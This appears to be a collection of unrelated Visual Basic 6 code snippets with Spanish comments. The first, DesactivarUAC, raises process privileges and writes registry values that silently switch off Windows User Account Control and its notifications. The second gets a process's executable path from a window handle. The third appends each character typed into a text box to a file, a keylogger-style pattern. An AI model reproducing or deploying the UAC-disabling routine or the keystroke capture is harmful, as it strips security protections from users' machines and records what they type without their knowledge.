Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RtlAdjustPrivilege Lib "NTDLL" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long
 
Const HKEY_LOCAL_MACHINE = &H80000002
 
 
Public Sub DesactivarUAC()
Dim key As Long
 
Call RtlAdjustPrivilege(17, True, True, 0)
If RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Security Center", 0&, &H20000 Or &H2& Or &H4&, key) = 0 Then
    If (RegSetValueExA(key, "UACDisableNotify", 0, 4, 0, 4) = 0) Then RegCloseKey key
End If
 
If RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0&, &H20000 Or &H2& Or &H4&, key) = 0 Then
    If (RegSetValueExA(key, "EnableLUA", 0, 4, 0, 4) = 0) Then RegCloseKey key
End If
End Sub
 
 

msgbox PathEXEWindow(Win) ' donde Win es el handle de la ventana

Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
 
 
Private Const PROCESS_ALL_ACCESS  As Long = &H1F0FFF
Private Const MAX_PATH = 260 
 
'------------------------------------------------------------------------------------------
' FUNCION: _
-------------------------------------------------------------------------------------------
 
 
Function PathEXEWindow(HndW As Long) As String
Dim IDp As Long, HandleProcess As Long
Dim Bufpath As String, LenBuf As Long
 
Call GetWindowThreadProcessId(HndW, IDp)
 
HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, IDp)
 
Bufpath = String$(MAX_PATH, Chr$(0))
LenBuf = MAX_PATH
 
If 0 = GetModuleFileNameExA(HandleProcess, 0, Bufpath, LenBuf) Then
    MsgBox "No se puede obtener la ruta del proceso Verifique los valores", vbCritical
    Exit Function
End If
 
PathEXEWindow = Left(Bufpath, LenBuf)
Call CloseHandle(HandleProcess)
End Function

Dim Str As String
 
 
 
Sub Escribir()
Open App.Path & "\archivo.txt" For Append As #1
Print #1, Str
Str = ""
Close #1
End Sub
 
Private Sub Text1_Change()
Str = Right(Text1.Text, 1)
Escribir
End Sub